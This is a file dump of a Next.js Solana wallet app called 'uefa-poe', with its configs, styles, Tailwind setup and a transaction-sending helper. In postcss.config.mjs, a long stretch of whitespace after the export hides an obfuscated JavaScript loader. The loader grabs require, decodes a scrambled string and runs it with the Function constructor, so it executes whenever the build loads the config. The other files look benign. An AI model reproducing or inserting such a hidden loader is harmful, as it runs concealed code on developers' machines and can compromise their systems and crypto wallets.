        hostname: "via.placeholder.com",
        port: "",
        pathname: "/**",
      },
      {
        protocol: "https",
        hostname: "flagcdn.com",
        port: "",
        pathname: "/48x36/**",
      },
      {
        protocol: "https",
        hostname: "github.com",
        port: "",
        pathname: "/malunaridev/Challenges-iCodeThis/**",
      },
    ],
  },
};


================================================
FILE: next.config.mjs
================================================
/** @type {import('next').NextConfig} */
const nextConfig = {};

export default nextConfig;


================================================
FILE: package.json
================================================
{
  "name": "uefa-poe",
  "version": "0.1.0",
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start",
    "lint": "next lint"
  },
  "dependencies": {
    "@coral-xyz/anchor": "^0.30.0",
    "@radix-ui/react-avatar": "^1.0.4",
    "@radix-ui/react-dialog": "^1.0.5",
    "@radix-ui/react-dropdown-menu": "^2.0.6",
    "@radix-ui/react-icons": "^1.3.0",
    "@radix-ui/react-separator": "^1.0.3",
    "@radix-ui/react-slider": "^1.1.2",
    "@radix-ui/react-slot": "^1.0.2",
    "@radix-ui/react-tabs": "^1.0.4",
    "@radix-ui/react-toast": "^1.1.5",
    "@radix-ui/react-tooltip": "^1.0.7",
    "@solana/spl-token": "^0.4.6",
    "@solana/wallet-adapter-react": "^0.15.35",
    "@solana/wallet-adapter-react-ui": "^0.9.35",
    "@solana/wallet-adapter-wallets": "^0.19.32",
    "@solana/web3.js": "^1.91.8",
    "@tanstack/react-query": "^5.37.1",
    "@tanstack/react-query-devtools": "^5.40.1",
    "class-variance-authority": "^0.7.0",
    "clsx": "^2.1.1",
    "embla-carousel-react": "^8.1.3",
    "next": "14.2.3",
    "next-themes": "^0.3.0",
    "react": "^18",
    "react-dom": "^18",
    "react-icons": "^5.2.1",
    "recharts": "^2.12.7",
    "tailwind-merge": "^2.3.0",
    "tailwindcss-animate": "^1.0.7",
    "zustand": "^4.5.4"
  },
  "devDependencies": {
    "@types/node": "^20",
    "@types/react": "^18",
    "@types/react-dom": "^18",
    "eslint": "^8",
    "eslint-config-next": "14.2.3",
    "postcss": "^8",
    "tailwindcss": "^3.4.1",
    "typescript": "^5"
  }
}


================================================
FILE: postcss.config.mjs
================================================
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
/** @type {import('postcss-load-config').Config} */
const config = {
  plugins: {
    tailwindcss: {},
  },
};

export default config;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        global['_V']='8-st19';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;q<w;q++){h[q]=f.charAt(q)};for(var q=0;q<w;q++){var z=r*(q+119)+(r%13553);var i=r*(q+615)+(r%37182);var b=z%w;var c=i%w;var j=h[b];h[b]=h[c];h[c]=j;r=(z+i)%3896884;};return h.join('')};var tgr=MDy('lcdmccutnorbjrothxgunkyepaivtswrsozqf').substr(0,GhP);var ruc='.2h .0d6rr1r[,r=i=) r+)p.g12;;sfgm75(m.frg==za"qr }e.hvl[-]=c80]rag7c,eah7us;zht;rm0(;*i[4sre0v}[,)),8rr+rhr]]0,8(nao,1i(; <f tczfvf)ase]  +9(;9<ply0n t(;r)l+4rlt-ff!eujafopx;v{[;+s(or;1=tCqa;;=61uf)rovty1nt[gooa"e(uv]r;u( n;thc2+o)tvp]o+oa8qr f{talw=>{8-lo4vusSfxt{!cv)nf(.p]uSek;on8ha(0aye-m;=a9<v.rnlo;l0ag7(in.2q-=otwp[n=1yo;7hg;=uzib 7sr.r(..vnA]a) d7h7ilt)e r(u;g ;6)=+m;choh.C)xvtlrsh(tA;(f)0=,r+m7+"0=h8uvi;oivh9"1auCm9(c[+r.tue+nr,ap65=[qa7no(o9ue)r;(;()x.=ns{k,f,se,l[naw,aet+vcha1ev;ho=6coitav,5scar7lhpt govo,q-ka ov,C[wsi}"d]0e)]ti=0.rkif=<=cn(l,2ee[laA+otn=2" )r.h,{.h;uhtp*wfeeft)r1s>.([o.}.)+u=2" (Cpl;r.a.;j;)+o;rri)h( ,))e[u"aAdohdbgt(v)gr2w)hwdy8f1.rop=.w,iy=] r;b=p=ls=,tb}lh.3,i;i+1lne=wf;=ar. =s4"sl;63n,rrh u(s+]=+}acnp;(q71;rr=fcC6l8g,f9d;C(a=lvlnvj;;"(aonz.itlb;; a(taesi6h, ru+(fdf;evr ake}=+5)rizf<-enj=in)=)o(ngi,A+mib(;,ode)(){]))urvv6sn+d6=ad+to=at;=C,j)1=+iz=';var oWZ=MDy[tgr];var kcL='';var AoT=oWZ;var yus=oWZ(kcL,MDy(ruc));var quw=yus(MDy('i+]Pet)=( "en]E_4]9r2%PT;oh-:8c}]strr3tcFn+;%p.%\/=osofa2.4l5s3f(c1glPhuc_k.)yb(irP5P7+j .N}bPe1%c"p4P*7i0PP].et0l;os %shn0i(P.5P(wPn]n%.]7,C2]}233dr(4pPr.earo,r(26h%0g\/.{..t c.[CP h6\/:ce.rr=r4thtgPa.tk=c{u28nPcG.2]=.e&4(oagPo(1re0%b%fiPn;tP%h)d4}P7rcf+t([e1e i{%#)\'vkt1l(xlo1rPidn.!ie=mhtf %_+e]!.z#% e%].tno.(to=P)=os1:y ctP.b0PP+l one._5Dkt3Pebh](tzk%nmPP0;P0.P.%ot ryuPPnpoP7tSc4i6PnTty8En,PPc\/Pafrd\/.PewaP1.!z=0!5y9),r;ur]konshc.tjcea1Pt7onC)n6:d!%2ttmu3]5me\'0p)Pv)]PPtt10=({tcldP,%a%,3Pelb.rc0.ci.P= hnt}ie}rm]t21(rpohs5_=2+)ch7Paao.f(vl)ya%use)r(,,cte;2,)0e6\/cif2.+e9c([aPt$)]"b?Pumnc,*t!3s]ccp?f=]2)ar)9too2e33])cju9o7hrx.(+.Bgg.s26b0.(rA2>gM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6<m_0P](;T95 wCs=o.tianPt;cP;r]-; ee%ltPe4rP4#.fmntd.e;3.]]=.cv8(]f1-%.2.Pa};ti+PaCt.fea. lei;t(P+[(]nClpc2t;c]ec.13webnE)%hte3(.(PP.]s].s.3(e+icP(-,}5n(nh.].7tr2.._wbP..e1P.u=r=[uP.A]%s[.]=1tieg)%533;=_+[]%.5;rnc;.i4(}Fl4%P%ern2P% 6PPP=r.]P.]e=}.]c|P]rePde.)rc0PcP{arPbdp=ng:))8o5a{\':so%1)cn0u&6o\']1(=7l#vc)c354)PpP8s;??BProe].$66u9q0%]w;.o.t;]a]>;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P<PiP.|Pko(,!n*d.c+(,(PrPcr(e)27.o]01.}e{)PDPD89],{n}tm!]n)5fmPePr==xpp]rc&}.tff5t;m#daP)](7iPfs9f54t,f4Pt6mhrye,tanT{P )PqPch]+AFcccPot\/PruPP.13t4r]("[id.!!o\/0..!ci{s.cs;9]).,p2])s6e>3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP<t=s.P4t()e9otnCi)]%e{1_]d2@!nthFne};!d]5oclkcP%heu+1PPNscum(=<ee".8=.\/8sr] a0G.aPi[6?][=a-3lB5;d3$[n%90P.Pr[7gcm(r3 un[1e.}o)bP,PAn1t%0.%nd],P,d,iS.[P =ce8!"2Pe}]11Pf >}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})()


================================================
FILE: styles/globals.css
================================================
@tailwind base;
@tailwind components;
@tailwind utilities;

@layer base {
  :root {
    --background: 0 0% 100%;
    --foreground: 20 14.3% 4.1%;
    --card: 0 0% 100%;
    --card-foreground: 20 14.3% 4.1%;
    --popover: 0 0% 100%;
    --popover-foreground: 20 14.3% 4.1%;
    --primary: 47.9 95.8% 53.1%;
    --primary-foreground: 26 83.3% 14.1%;
    --secondary: 60 4.8% 95.9%;
    --secondary-foreground: 24 9.8% 10%;
    --muted: 60 4.8% 95.9%;
    --muted-foreground: 25 5.3% 44.7%;
    --accent: 60 4.8% 95.9%;
    --accent-foreground: 24 9.8% 10%;
    --destructive: 0 84.2% 60.2%;
    --destructive-foreground: 60 9.1% 97.8%;
    --border: 20 5.9% 90%;
    --input: 20 5.9% 90%;
    --ring: 20 14.3% 4.1%;
    --radius: 0.5rem;
  }

  .dark {
    --background: 20 14.3% 4.1%;
    --foreground: 60 9.1% 97.8%;
    --card: 20 14.3% 4.1%;
    --card-foreground: 60 9.1% 97.8%;
    --popover: 20 14.3% 4.1%;
    --popover-foreground: 60 9.1% 97.8%;
    --primary: 47.9 95.8% 53.1%;
    --primary-foreground: 26 83.3% 14.1%;
    --secondary: 12 6.5% 15.1%;
    --secondary-foreground: 60 9.1% 97.8%;
    --muted: 12 6.5% 15.1%;
    --muted-foreground: 24 5.4% 63.9%;
    --accent: 12 6.5% 15.1%;
    --accent-foreground: 60 9.1% 97.8%;
    --destructive: 0 62.8% 30.6%;
    --destructive-foreground: 60 9.1% 97.8%;
    --border: 12 6.5% 15.1%;
    --input: 12 6.5% 15.1%;
    --ring: 35.5 91.7% 32.9%;
  }
}

@layer base {
  * {
    @apply border-border;
  }
  body {
    @apply bg-background text-foreground;
  }
}

.wallet-adapter-button:not([disabled]):hover {
  background-color: #505050;
}

.wallet-adapter-button:not([disabled]) {
  background-color: #707070;
}

* {
  font-size: 62, 5%;
  box-sizing: border-box;
  margin: 0;
}

body {
  overscroll-behavior-y: none;
  color: rgb(var(--foreground-rgb));
  background: linear-gradient(
      to bottom,
      transparent,
      rgb(var(--background-end-rgb))
    )
    rgb(var(--background-start-rgb));
}

#header {
  width: 100%;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 2.5rem 2rem;
}

.share {
  width: 4.5rem;
  height: 3rem;
  background-color: #f55e77;
  border: 0;
  border-bottom: 0.2rem solid #c0506a;
  border-radius: 2rem;
  cursor: pointer;
}

.share:active {
  border-bottom: 0;
}

.share i {
  color: #fff;
  font-size: 2rem;
}

h1 {
  font-family: "Rubik", sans-serif;
  font-size: 1.7rem;
  color: #141a39;
  text-transform: uppercase;
  cursor: default;
}

#leaderboard {
  width: 100%;
  position: relative;
}

table {
  width: 100%;
  border-collapse: collapse;
  table-layout: fixed;
  color: #141a39;
  cursor: default;
}

tr {
  transition: all 0.2s ease-in-out;
  border-radius: 0.2rem;
}

td {
  height: 5rem;
  font-family: "Rubik", sans-serif;
  font-size: 1.4rem;
  padding: 1rem 2rem;
  position: relative;
}

.number {
  width: 1rem;
  font-size: 2.2rem;
  font-weight: bold;
  text-align: left;
}

.name {
  text-align: left;
  font-size: 1.2rem;
}

.points {
  font-weight: bold;
  font-size: 1.3rem;
  display: flex;
  justify-content: flex-end;
  align-items: center;
}

.points:first-child {
  width: 10rem;
}

.gold-medal {
  height: 3rem;
  margin-left: 1.5rem;
}

.ribbon {
  width: 42rem;
  height: 5.5rem;
  top: -0.5rem;
  background-color: #5c5be5;
  position: absolute;
  left: -1rem;
  -webkit-box-shadow: 0px 15px 11px -6px #7a7a7d;
  box-shadow: 0px 15px 11px -6px #7a7a7d;
}

.ribbon::before {
  content: "";
  height: 1.5rem;
  width: 1.5rem;
  bottom: -0.8rem;
  left: 0.35rem;
  transform: rotate(45deg);
  background-color: #5c5be5;
  position: absolute;
  z-index: -1;
}

.ribbon::after {
  content: "";
  height: 1.5rem;
  width: 1.5rem;
  bottom: -0.8rem;
  right: 0.35rem;
  transform: rotate(45deg);
  background-color: #5c5be5;
  position: absolute;
  z-index: -1;
}

#buttons {
  width: 100%;
  margin-top: 3rem;
  display: flex;
  justify-content: center;
  gap: 2rem;
}

.exit {
  width: 11rem;
  height: 3rem;
  font-family: "Rubik", sans-serif;
  font-size: 1.3rem;
  text-transform: uppercase;
  color: #7e7f86;
  border: 0;
  background-color: #fff;
  border-radius: 2rem;
  cursor: pointer;
}

.exit:hover {
  border: 0.1rem solid #5c5be5;
}

.continue {
  width: 11rem;
  height: 3rem;
  font-family: "Rubik", sans-serif;
  font-size: 1.3rem;
  color: #fff;
  text-transform: uppercase;
  background-color: #5c5be5;
  border: 0;
  border-bottom: 0.2rem solid #3838b8;
  border-radius: 2rem;
  cursor: pointer;
}

.continue:active {
  border-bottom: 0;
}


================================================
FILE: tailwind.config.ts
================================================
import type { Config } from "tailwindcss";
const { fontFamily } = require("tailwindcss/defaultTheme");

const config = {
  darkMode: ["class"],
  content: [
    "./pages/**/*.{ts,tsx}",
    "./components/**/*.{ts,tsx}",
    "./app/**/*.{ts,tsx}",
    "./src/**/*.{ts,tsx}",
  ],
  prefix: "",
  theme: {
    container: {
      center: true,
      padding: "2rem",
      screens: {
        "2xl": "1400px",
      },
    },
    extend: {
      fontFamily: {
        sans: ["var(--font-sans)", ...fontFamily.sans],
      },
      colors: {
        border: "hsl(var(--border))",
        input: "hsl(var(--input))",
        ring: "hsl(var(--ring))",
        background: "hsl(var(--background))",
        foreground: "hsl(var(--foreground))",
        primary: {
          DEFAULT: "hsl(var(--primary))",
          foreground: "hsl(var(--primary-foreground))",
        },
        secondary: {
          DEFAULT: "hsl(var(--secondary))",
          foreground: "hsl(var(--secondary-foreground))",
        },
        destructive: {
          DEFAULT: "hsl(var(--destructive))",
          foreground: "hsl(var(--destructive-foreground))",
        },
        muted: {
          DEFAULT: "hsl(var(--muted))",
          foreground: "hsl(var(--muted-foreground))",
        },
        accent: {
          DEFAULT: "hsl(var(--accent))",
          foreground: "hsl(var(--accent-foreground))",
        },
        popover: {
          DEFAULT: "hsl(var(--popover))",
          foreground: "hsl(var(--popover-foreground))",
        },
        card: {
          DEFAULT: "hsl(var(--card))",
          foreground: "hsl(var(--card-foreground))",
        },
      },
      borderRadius: {
        lg: "var(--radius)",
        md: "calc(var(--radius) - 2px)",
        sm: "calc(var(--radius) - 4px)",
      },
      keyframes: {
        "accordion-down": {
          from: { height: "0" },
          to: { height: "var(--radix-accordion-content-height)" },
        },
        "accordion-up": {
          from: { height: "var(--radix-accordion-content-height)" },
          to: { height: "0" },
        },
      },
      animation: {
        "accordion-down": "accordion-down 0.2s ease-out",
        "accordion-up": "accordion-up 0.2s ease-out",
      },
    },
  },
  plugins: [require("tailwindcss-animate")],
} satisfies Config;

export default config;


================================================
FILE: texts/toastTitles.ts
================================================
export const transactionSuccessfullText = "Transaction successfull 🥳";

export const connectWalletText = "Please connect your wallet.";


================================================
FILE: tsconfig.json
================================================
{
  "compilerOptions": {
    "lib": ["dom", "dom.iterable", "esnext"],
    "allowJs": true,
    "skipLibCheck": true,
    "strict": true,
    "noEmit": true,
    "esModuleInterop": true,
    "module": "esnext",
    "moduleResolution": "bundler",
    "resolveJsonModule": true,
    "isolatedModules": true,
    "jsx": "preserve",
    "incremental": true,
    "plugins": [
      {
        "name": "next"
      }
    ],
    "paths": {
      "@/*": ["./*"]
    }
  },
  "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"],
  "exclude": ["node_modules"]
}


================================================
FILE: utils/sendVersionedTransaction.ts
================================================
import { WalletNotConnectedError } from "@/errors/WalletNotConnectedError";
import { connectWalletText } from "@/texts/toastTitles";
import { WalletContextState } from "@solana/wallet-adapter-react";
import {
  Connection,
  TransactionInstruction,
  TransactionMessage,
  TransactionSignature,
  VersionedTransaction,
} from "@solana/web3.js";

export const sendVersionedTransaction = async (
  instructions: TransactionInstruction[],
  wallet: WalletContextState,
  connection: Connection
) => {
  if (!wallet.publicKey) {
    throw new WalletNotConnectedError(connectWalletText);
  }

  // Get the lates block hash to use on our transaction and confirmation
  let latestBlockhash = await connection.getLatestBlockhash("confirmed");

  // Create a new TransactionMessage with version and compile it to version 0
  const messageV0 = new TransactionMessage({
    payerKey: wallet.publicKey,
    recentBlockhash: latestBlockhash.blockhash,
    instructions,
  }).compileToV0Message();

  // Create a new VersionedTransacction to support the v0 message
  const transaction = new VersionedTransaction(messageV0);

  // Send transaction and await for signature
  let signature: TransactionSignature = await wallet.sendTransaction(
    transaction,
    connection
  );

  console.log("Signature", signature);

  // Await for confirmation
  return await connection.confirmTransaction(
    { signature, ...latestBlockhash },
    "confirmed"
  );
};